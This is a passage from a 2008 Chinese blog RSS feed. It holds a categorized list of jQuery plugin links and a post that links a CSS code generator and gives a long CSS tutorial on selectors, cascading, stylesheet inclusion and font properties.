href="http://jdsharp.us/jQuery/plugins/AutoScroll/">AutoScroll</a>.<br /><a href="http://medienfreunde.com/lab/innerfade/">Innerfade</a>. </p><h2>拖放插件(Drag and Drop)</h2><p><a href="http://docs.jquery.com/UI/Draggables">UI/Draggables</a>.<br /><a href="http://fromvega.com/wordpress/2007/07/14/easydrag-jquery-plugin/">EasyDrag jQuery Plugin</a>.<br /><a href="http://sonspring.com/journal/jquery-portlets">jQuery Portlets</a>.<br /><a href="http://dev.iceburg.net/jquery/jqDnR/">jqDnR - drag, drop resize</a>.<br /><a href="http://interface.eyecon.ro/demos/drag.html">Drag Demos</a>. </p><h2>XML XSL JSON Feeds</h2><p><a href="http://www.jongma.org/webtools/jquery/xslt/">XSLT Plugin</a>.<br /><a href="http://cgaskell.wordpress.com/2006/11/02/jquery-ajax-call-and-result-xml-parsing/">jQuery Ajax call and result XML parsing</a>.<br /><a href="http://jquery.com/plugins/project/xmlObjectifier">xmlObjectifier - Converts XML DOM to JSON</a>.<br /><a href="http://jquery.glyphix.com/">jQuery XSL Transform</a>.<br /><a href="http://malsup.com/jquery/taconite/">jQuery Taconite - multiple Dom updates</a>.<br /><a href="http://www.hovinne.com/blog/index.php/2007/07/15/132-jfeed-jquery-rss-atom-feed-parser-plugin">RSS/ATOM Feed Parser Plugin</a>.<br /><a href="http://www.malsup.com/jquery/gfeed/">jQuery Google Feed Plugin</a>. </p><h2>浏览器(Browserstuff)</h2><p><a href="http://noteslog.com/post/how-to-fix-the-resize-event-in-ie/">Wresize - IE Resize event Fix Plugin</a>.<br /><a href="http://jquery.khurshid.com/ifixpng.php">jQuery ifixpng</a>.<br /><a href="http://jquery.andreaseberhard.de/pngFix/">jQuery pngFix</a>.<br /><a href="http://www.crismancich.de/jquery/plugins/linkscrubber/">Link Scrubber - removes the dotted line onfocus from links</a>.<br /><a href="http://www.matthewjrichards.co.uk/articles/2007/06/25/jquery-perciformes-the-entire-suckerfish-familly-under-one-roof">jQuery Perciformes - the entire suckerfish familly under one roof</a>.<br /><a href="http://blog.brandonaaron.net/my-jquery-plugins/background-iframe/">Background Iframe</a>.<br /><a href="http://jquery.com/plugins/project/QinIE">QinIE - for proper display of Q tags in IE</a>.<br /><a href="http://webrocket.ulmb.com/ability/">jQuery Accessibility Plugin</a>.<br /><a href="http://www.ogonek.net/mousewheel/jquery-demo.html">jQuery MouseWheel Plugin</a>. </p><h2>对话框、确认窗口(Alert, Prompt, Confirm Windows)</h2><p><a href="http://trentrichardson.com/Impromptu/">jQuery Impromptu</a>.<br /><a href="http://nadiaspot.com/jquery/confirm">jQuery Confirm Plugin</a>.<br /><a href="http://dev.iceburg.net/jquery/jqModal/">jqModal</a>.<br /><a href="http://www.ericmmartin.com/projects/simplemodal/">SimpleModal</a>. </p><h2>CSS</h2><p><a href="http://www.kelvinluck.com/article/switch-stylesheets-with-jquery">jQuery Style Switcher</a>.<br /><a href="http://andykent.bingodisk.com/bingo/public/jss/">JSS - Javascript StyleSheets</a>.<br /><a href="http://flesler.blogspot.com/2007/11/jqueryrule.html">jQuery Rule - creation/manipulation of CSS Rules</a>.<br /><a href="http://www.designerkamal.com/jPrintArea/">jPrintArea</a>. </p><h2>DOM、AJAX和其它JQuery插件（DOM, Ajax and other jQuery plugins）</h2><p><a href="http://flydom.socianet.com/">FlyDOM</a>.<br /><a href="http://brandonaaron.net/docs/dimensions/#getting-started">jQuery Dimenion Plugin</a>.<br /><a href="http://happygiraffe.net/blog/articles/2007/09/26/jquery-logging">jQuery Loggin</a>.<br /><a href="http://jquery.com/plugins/project/metadata">Metadata - extract metadata from classes, attributes, elements</a>.<br /><a href="http://johannburkard.de/blog/programming/javascript/inc-a-super-tiny-client-side-include-javascript-jquery-plugin.html">Super-tiny Client-Side Include Javascript jQuery Plugin</a>.<br /><a href="http://humanized.com/weblog/2007/09/14/undo-made-easy-with-ajax-part-1/">Undo Made Easy with Ajax</a>.<br /><a href="http://www.jasons-toolbox.com/JHeartbeat/">JHeartbeat - periodically poll the server</a>.<br /><a href="http://www.appelsiini.net/projects/lazyload">Lazy Load Plugin</a>.<br /><a href="http://blog.brandonaaron.net/2007/08/19/new-plugin-live-query/">Live Query</a>.<br /><a href="http://jquery.offput.ca/every/">jQuery Timers</a>.<br /><a href="http://www.joanpiedra.com/jquery/shareit/">jQuery Share it - display social bookmarking icons</a>.<br /><a href="http://www.jdempster.com/category/code/jquery/cookiejar/">jQuery serverCookieJar</a>.<br /><a href="http://ideamill.synaptrixgroup.com/?p=3">jQuery autoSave</a>.<br /><a href="http://www.semicomplete.com/blog/geekery/jquery-interface-puffer.html">jQuery Puffer</a>.<br /><a href="http://33rockers.com/jquery/iframe-demo/">jQuery iFrame Plugin</a>.<br /><a href="http://www.stilbuero.de/2006/09/17/cookie-plugin-for-jquery/">Cookie Plugin for jQuery</a>.<br /><a href="http://leftlogic.com/lounge/articles/jquery_spy2">jQuery Spy - awesome plugin</a>.<br /><a href="http://www.learningjquery.com/2007/01/effect-delay-trick">Effect Delay Trick</a>.<br /><a href="http://jquick.sullof.com/jquick/">jQuick - a quick tag creator for jQuery</a>.<a href="http://noteslog.com/post/metaobjects-11-released-today/"><br />Metaobjects</a>.<br /><a href="http://www.thunderguy.com/semicolon/2007/08/14/elementready-jquery-plugin/">elementReady</a>. </p><p>英文：<a title="http://www.kollermedia.at/archive/2007/11/21/the-ultimate-jquery-plugin-list/" href="http://www.kollermedia.at/archive/2007/11/21/the-ultimate-jquery-plugin-list/">http://www.kollermedia.at/archive/2007/11/21/the-ultimate-jquery-plugin-list/</a></p>]]></description><category>编程开发</category><comments>http://www.icdoor.com/z-blog/post/cat_9/2008/02/03/844.html#comment</comments><wfw:comment>http://www.icdoor.com/z-blog/</wfw:comment><wfw:commentRss>http://www.icdoor.com/z-blog/feed.asp?cmt=844</wfw:commentRss><trackback:ping>http://www.icdoor.com/z-blog/cmd.asp?act=tb&amp;id=844&amp;key=50c22cfc</trackback:ping></item><item><title>CSS代码生成器</title><author>a@b.com (naruYrY0Xa)</author><link>http://www.icdoor.com/z-blog/post/cat_9/2008/02/03/843.html</link><pubDate>Sun, 03 Feb 2008 19:46:23 +0800</pubDate><guid>http://www.icdoor.com/z-blog/post/cat_9/2008/02/03/843.html</guid><description><![CDATA[<p align="left"><font style="BACKGROUND-COLOR: rgb(0,0,0)" face="黑体,sans-serif" color="#ff0000" size="4">CSS代码生成器</font></p><p align="left"><font style="BACKGROUND-COLOR: rgb(0,0,0)" face="黑体,sans-serif" color="#ff0000" size="4">地址:</font></p><p align="left"><a href="http://www.yile8.com/Soft/web/Htmls/200509/1.html"><font size="4">http://www.yile8.com/Soft/web/Htmls/200509/1.html</font></a><font size="4"> </font></p><p align="left"><font style="BACKGROUND-COLOR: rgb(0,0,0)" color="#ff0000" size="4">附:CSS教程</font></p><p class="font_two" align="left"><font size="4">一. 基本语法</font></p><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td class="font_three"><font size="4">1. CSS的语法：</font></td>        </tr>    </tbody></table></p><p align="left"><font size="4">CSS的定义是由三个部分构成：<br />选择符（selector），属性（properties）和属性的取值（value）。</font></p><p align="left"><font size="4"><span class="font_red">语法：</span> selector {property: value} (选择符 {属性：值})<br /><span class="font_red">说明：</span><br />&middot;选择符是可以是多种形式，一般是你要定义样式的HTML标记，例如BODY、P、TABLE&hellip;&hellip;，你可以通过此方法定义它的属性和值，属性和值要用冒号隔开：<br /><span class="font_red">例子：</span>body {color: black}，此例的效果是使页面中的文字为黑色。<br />&middot;如果属性的值是多个单词组成，必须在值上加引号，比如字体的名称经常是几个单词的组合： <br /><span class="font_red">例子：</span>p {font-family: &quot;sans serif&quot;} (定义段落字体为sans serif)<br />&middot; 如果需要对一个选择符指定多个属性时，我们使用分号将所有的属性和值分开：<br /><span class="font_red">例子：</span>p {text-align: center; color: red} （段落居中排列；并且段落中的文字为红色）</font></p><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">2. 选择符组</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4">你可以把相同属性和值的选择符组合起来书写，用逗号将选择符分开，这样可以减少样式重复定义：<br />h1, h2, h3, h4, h5, h6 { color: green } （这个组里包括所有的标题元素，每个标题元素的文字都为绿色）<br /><br />p, table{ font-size: 9pt } （段落和表格里的文字尺寸为9号字）<br />效果完全等效于：<br />p { font-size: 9pt }<br />table { font-size: 9pt }</font></p><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">3. 类选择符</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4">用类选择符你能够把相同的元素分类定义不同的样式，定义类选择符时，在自定类的名称前面加一个点号。假如你想要两个不同的段落，一个段落向右对齐，一个段落居中，你可以先定义两个类：<br />p.right {text-align: right}<br />p.center {text-align: center}</font></p><p align="left"><font size="4">然后用不在不同的段落里，只要在HTML标记里加入你定义的class参数：<br /></font></p><p class="right" align="left"><font size="4">这个段落向右对齐的</font></p><p align="left"><font size="4"><br /></font></p><p class="center" align="left"><font size="4">这个段落是居中排列的</font></p><p align="left"><font size="4">类选择符还有一种用法，在选择符中省略HTML标记名，这样可以把几个不同的元素定义成相同的样式：<br />.center {text-align: center} （定义.center的类选择符为文字居中排列）</font></p><p align="left"><font size="4">这样的类可以被应用到任何元素上。下面我们使h1元素（标题1）和p元素（段落）都归为&ldquo;center&rdquo;类，这使两个元素的样式都跟随&ldquo;.center&rdquo;这个类选择符：<br /></font></p><h1 class="center" align="left"><font size="4">这个标题是居中排列的</font></h1><p align="left"><font size="4"><br /></font></p><p class="center" align="left"><font size="4">这个段落也是居中排列的</font></p><p align="left"><font size="4"><span class="font_red">注意：</span>这种省略HTML标记的类选择符是我们经后最常用的CSS方法，使用这种方法，我们可以很方便的在任意元素上套用预先定义好的类样式。</font></p><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">4. ID选择符</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4">在HTML页面中ID参数指定了某个单一元素，ID选择符是用来对这个单一元素定义单独的样式。<br />ID选择符的应用和类选择符类似，只要把CLASS换成ID即可。将上例中类用ID替代：<br /></font></p><p id="intro" align="left"><font size="4">这个段落向右对齐</font></p><p align="left"><font size="4">定义ID选择符要在ID名称前加上一个&ldquo;#&rdquo;号。和类选择符相同，定义ID选择符的属性也有两种方法。下面这个例子，ID属性将匹配所有id=&quot;intro&quot;的元素：<br />#intro<br />{<br />font-size:110%;<br />font-weight:bold;<br />color:#0000ff;<br />background-color:transparent<br />} （字体尺寸为默认尺寸的110%；粗体；蓝色；背景颜色透明）<br /><br />下面这个例子，ID属性只匹配id=&quot;intro&quot;的段落元素：<br />p#intro<br />{<br />font-size:110%;<br />font-weight:bold;<br />color:#0000ff;<br />background-color:transparent<br />}<br /><span class="font_red">注意：</span>ID选择符局限性很大，只能单独定义某个元素的样式，一般只在特殊情况下使用。</font></p><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">5. 包含选择符</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4">可以单独对某种元素包含关系定义的样式表，元素1里包含元素2，这种方式只对在元素1里的元素2定义，对单独的元素1或元素2无定义，例如：<br />table a<br />{<br />font-size: 12px<br />}<br />在表格内的链接改变了样式，文字大小为12象素，而表格外的链接的文字仍为默认大小。</font></p><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">6. 样式表的层叠性</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4">层叠性就是继承性，样式表的继承规则是外部的元素样式会保留下来继承给这个元素所包含的其他元素。事实上，所有在元素中嵌套的元素都会继承外层元素指定的属性值，有时会把很多层嵌套的样式叠加在一起，除非另外更改。例如在DIV标记中嵌套P标记：</font></p><p align="left"><font size="4">div { color: red; font-size:9pt}<br />&hellip;&hellip;<br /></font></p><p align="left"><font size="4">这个段落的文字为红色9号字</font></p><p align="left"><br /><font size="4">（P元素里的内容会继承DIV定义的属性）<br /><span class="font_red">注意：</span>有些情况下内部选择符不继承周围选择符的值，但理论上这些都是特殊的。例如，上边界属性值是不会继承的，直觉上，一个段落不会同文档BODY一样的上边界值。 </font></p><p align="left"><font size="4">另外，当样式表继承遇到冲突时，总是以最后定义的样式为准。如果上例中定义了P的颜色：<br />div { color: red; font-size:9pt}<br />p {color: blue}<br />&hellip;&hellip;<br /></font></p><p align="left"><font size="4">这个段落的文字为蓝色9号字</font></p><p align="left"><font size="4">我们可以看到段落里的文字大小为9号字是继承div属性的，而color属性则依照最后定义的。</font></p><p align="left"><font size="4">不同的选择符定义相同的元素时，要考虑到不同的选择符之间的优先级。ID选择符，类选择符和HTML标记选择符，因为ID选择符是最后加上元素上的，所以优先级最高，其次是类选择符。如果想超越这三者之间的关系，可以用!important提升样式表的优先权，例如：<br />p { color: #FF0000!important }<br />.blue { color: #0000FF}<br />#id1 { color: #FFFF00}<br />我们同时对页面中的一个段落加上这三种样式，它最后会依照被!important申明的HTML标记选择符样式为红色文字。如果去掉!important，则依照优先权最高的ID选择符为黄色文字。</font></p><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">7. 注释：/* ... */</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4">你可以在CSS中插入注释来说明你代码的意思，注释有利于你或别人以后编辑和更改代码时理解代码的含义。在浏览器中，注释是不显示的。CSS注释以&quot;/*&quot; 开头，以&quot;*/&quot; 结尾，如下：<br />/* 定义段落样式表 */<br />p<br />{<br />text-align: center; /* 文本居中排列 */<br />color: black; /* 文字为黑色 */<br />font-family: arial /* 字体为arial */<br />}</font></p><p class="font_two" align="left"><font size="4">二、添加层叠样式表的四种方法</font></p><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><font size="4"><span class="font_three">1．链入外部样式表文件 (Linking to a Style Sheet)：</span> </font></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span> <br /><br />Rel属性表示样式表将以何种方式与HTML文档结合。取值范围：<br />&middot;Stylesheet：指定一个外部的样式表<br />&middot;Alternate stylesheet：指定使用一个交互样式表</font></p><p align="left"><font size="4">&middot;*.css是单独保存的样式表文件，其中不能包含 <br /><span class="font_red">注意：</span>type=&quot;text/css&quot;表示样式表采用MIME类型，帮助不支持CSS的浏览器过滤掉CSS代码，避免在浏览器面前直接以源代码的方式显示我们设置的样式表。但为了保证上述情况一定不要发生，还是有必要在样式表里加上注释标识符&quot;<!--注释内容-->&quot;。</font></p><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">4．导入外部样式表：</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span><br /><br /><span class="font_red">说明：</span><br />&middot;联合法输入样式表必须以@import开头。<br />&middot;如果同时输入多个样式表有冲突的时候，将按照第一个输入的样式表对网页排版。<br />&middot;如果输入的样式表和网页里的样式规则冲突时，使用外部的样式表。<br /><span class="font_red">注意：</span>例 中@import &ldquo;mystyle.css&rdquo;表示导入mystyle.css样式表，注意使用时外部样式表的路径。方法和链入样式表的方法很相似，但导入外部样式表输入方 式更有优势。实质上它相当于存在内部样式表中的。导入外部样式表必须在样式表的开始部分，在其他内部样式表上面。</font></p><p align="left"><span class="font_two"><font size="4">三、字体样式(Font Style)<br /></font></span></p><p align="left"><table style="BORDER-COLLAPSE: collapse" bordercolor="#999999" cellspacing="0" cellpadding="3" width="100%" border="1">    <tbody>        <tr class="table_back1">            <td width="5%"><font size="4">序号</font></td>            <td width="8%"><font size="4">中文说明</font></td>            <td width="81%"><font size="4">标记语法</font></td>            <td width="6%"><font size="4">备注</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }            }" onmouseout="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">1</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/02.htm#font"><font size="4">字体样式</font></a></td>            <td><font size="4">{font:font-style font-variant font-weight font-size font-family} </font></td>            <td><font size="4">？</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }            }" onmouseout="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">2</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/02.htm#font-family"><font size="4">字体类型</font></a></td>            <td><font size="4">{font-family:&quot;字体1&quot;,&quot;字体2&quot;,&quot;字体3&quot;,...} </font></td>            <td><font size="4">&nbsp;</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }            }" onmouseout="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">3</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/02.htm#font-size"><font size="4">字体大小</font></a></td>            <td><font size="4">{font-size:数值|inherit| medium| large| larger| x-large| xx-large| small| smaller| x-small| xx-small} </font></td>            <td><font size="4">&nbsp;</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }            }" onmouseout="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">4</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/02.htm#font-style"><font size="4">字体风格</font></a></td>            <td><font size="4">{font-style:inherit|italic|normal|oblique} </font></td>            <td><font size="4">&nbsp;</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }            }" onmouseout="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">5</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/02.htm#font-weight"><font size="4">字体粗细</font></a><font size="4"> </font></td>            <td><font size="4">{font-weight:100-900|bold|bolder|lighter|normal;} </font></td>            <td><font size="4">&nbsp;</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }            }" onmouseout="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">6</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/02.htm#color"><font size="4">字体颜色</font></a><font size="4"> </font></td>            <td><font size="4">{color:数值;}</font></td>            <td><font size="4">&nbsp;</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }            }" onmouseout="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">7</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/02.htm#text-shadow"><font size="4">阴影颜色</font></a></td>            <td><font size="4">{text-shadow:</font><a href="http://www.a100.com.cn/css/Colors16.htm" target="_blank"><font size="4">16位色值</font></a><font size="4">}</font></td>            <td><font size="4">？</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }            }" onmouseout="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">8</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/02.htm#line-height"><font size="4">字体行高</font></a><font size="4"> </font></td>            <td><font size="4">{line-height:数值|inherit|normal;}</font></td>            <td><font size="4">&nbsp;</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }            }" onmouseout="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">9</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/02.htm#letter-spacing"><font size="4">字 间 距</font></a><font size="4"> </font></td>            <td><font size="4">{letter-spacing:数值|inherit|normal}</font></td>            <td><font size="4">&nbsp;</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }            }" onmouseout="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">10</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/02.htm#word-spacing"><font size="4">单词间距</font></a></td>            <td><font size="4">{word-spacing:数值|inherit|normal}</font></td>            <td><font size="4">&nbsp;</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }            }" onmouseout="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">11</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/02.htm#font-variant"><font size="4">字体变形</font></a></td>            <td><font size="4">{font-variant:inherit|normal|small-cps } </font></td>            <td><font size="4">&nbsp;</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }            }" onmouseout="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">12</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/02.htm#text-transform"><font size="4">英文转换</font></a></td>            <td><font size="4">{text-transform:inherit|none|capitalize|uppercase|lowercase}</font></td>            <td><font size="4">&nbsp;</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }            }" onmouseout="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">13</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/02.htm#font-size-adjust"><font size="4">？</font></a></td>            <td><font size="4">{font-size-adjust:inherit|none} </font></td>            <td><font size="4">？</font></td>        </tr>        <tr onmouseover="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#E4E8EB';            }            }            }" onmouseout="function anonymous()            {            function anonymous()            {            function anonymous()            {            this.bgColor='#f7f7f7';            }            }            }" bgcolor="#f7f7f7">            <td align="center"><font size="4">14</font></td>            <td align="center"><a href="http://www.a100.com.cn/css/font-stretch"><font size="4">？</font></a></td>            <td><font size="4">{font-stretch:condensed|expanded|extra-condensed|extra-expanded|inherit|narrower|normal| semi-condensed|semi-expanded|ultra-condensed|ultra-expanded|wider} </font></td>            <td><font size="4">？</font></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><br /></font></p><span class="font_three"><a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="font"></a></span><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">1. 字体样式：font</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span>{font:font-style font-variant font-weight font-size font-family}<br />[ &lt;字体风格&gt; || &lt;字体变形&gt; || &lt;字体加粗&gt; ]? &lt;字体大小&gt; [ / &lt;行高&gt; ]? &lt;字体类形&gt;</font><span class="font_red"><br /><font size="4">作用：</font></span><font size="4">简写属性，提供了对字体所有属性进行设置的快捷方法。<br /><span class="font_red">注意：</span>字体样式用作不同字体属性的略写，特别是行高。例如 P { font: italic bold 12pt/14pt Times, serif }指定该段为bold(粗体)和italic(斜体)Times或serif字体，12点大小，行高为14点。<br /><span class="font_red">例子：</span><span style="FONT: 900 oblique small-caps 29pt 黑体; font-size-adjust: none; font-stretch: normal">字体</span><span style="FONT: 900 oblique small-caps 29pt 黑体; font-size-adjust: none; font-stretch: normal">字体</span></font></p><span class="font_three"><a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="font-family"></a></span><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">2. 字体类形：font-family</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span>{font-family:字体1,字体2,字体3,...}<br /><span class="font_red">作用：</span>调用客户端字体<br /><span class="font_red">说明：</span><br />&middot;当指定多种字体时，用&ldquo;，&rdquo;分隔每种字体名称。 <br />&middot;当字体名称包含两个以上分开的单词时，用&ldquo;&rdquo;把该字体名称括起来。 <br />&middot;当样式规则外已经有&ldquo;&rdquo;时，用&lsquo;&rsquo;代替&ldquo;&rdquo;。 <br /><span class="font_red">注意：</span>如 果在font-family后加上多种字体的名称，浏览器会按字体名称的顺序逐一在用户的计算机里寻找已经安装的字体，一旦遇到与要求的相匹配的字体，就 按这种字体显示网页内容，并停止搜索；如果不匹配就继续搜索，直到找到为止，万一样式表里的所有字体都没有安装的话，浏览器就会用自己默认的字体来替代显 示网页的内容。 <br /><span class="font_red">例子：</span>{font-family:黑体,隶书;}　　<span style="FONT-FAMILY: 黑体,隶书">字体类型</span></font></p><span class="font_three"><a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="font-size"></a></span><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">3．字体大小：font-size</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span>{font-size:数值|inherit| medium| large| larger| x-large| xx-large| small| smaller| x-small| xx-small}<br /><span class="font_red">作用：</span>设定文字大小，</font><a href="http://www.a100.com.cn/css/07.htm" target="_blank"><font size="4">参考取值单位</font></a><br /><font size="4"><span class="font_red">说明：</span>使用比例关系 <br />&middot;xx-small <br />&middot;x-small <br />&middot;small <br />&middot;medium <br />&middot;large <br />&middot;x-large <br />&middot;xx-large<br /><span class="font_red">例子：</span>{font-size:18pt;}　　<span style="FONT-SIZE: 18pt">字体大小</span></font></p><a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="font-style"></a><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">4. 字体风格：font-style</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span>{font-style:inherit|italic|normal|oblique}<br /><span class="font_red">作用：</span>使文本显示为扁斜体或斜体等表示强调<br /><span class="font_red">说明：</span><br />&middot;inherit　继承 <br />&middot;italic 　斜体 <br />&middot;normal　 正常<br />&middot;oblique　偏斜体</font></p><a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="font-weight"></a><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td><span class="font_three"><font size="4">5．字体粗细：font-weight</font></span></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span>{font-weight:100-900|bold|bolder|lighter|normal;}<br /><span class="font_red">作用：</span>设定文字的粗细<br /><span class="font_red">说明：</span><br />&middot;bold 粗体(相当于数值700 )<br />&middot;bolder 特粗体<br />&middot;lighter 细体 <br />&middot;normal 正常体(相当于数值400)<br /><span class="font_red">注意：</span>取值范围从数字100~900，浏览器默认的字体粗细为400。另外可以通过参数lighter和bolder使得字体在原有基础上显得更细或更粗些。</font></p><a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="color"></a><p align="left"><table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">    <tbody>        <tr>            <td class="font_three"><font size="4">6. 字体颜色：color </font></td>        </tr>    </tbody></table></p><p align="left"><font size="4"><span class="font_red">语法：</span>{color: 数值} <br /><span class="font_red">作用：</span>字体颜色 <br /><span class="font_red">说明：</span>颜色参数取值范围 <br />&middot;以RGB值表示 <br />&middot;</font><a href="http://www.a100.com.cn/css/Colors16.htm" target="_blank"><font 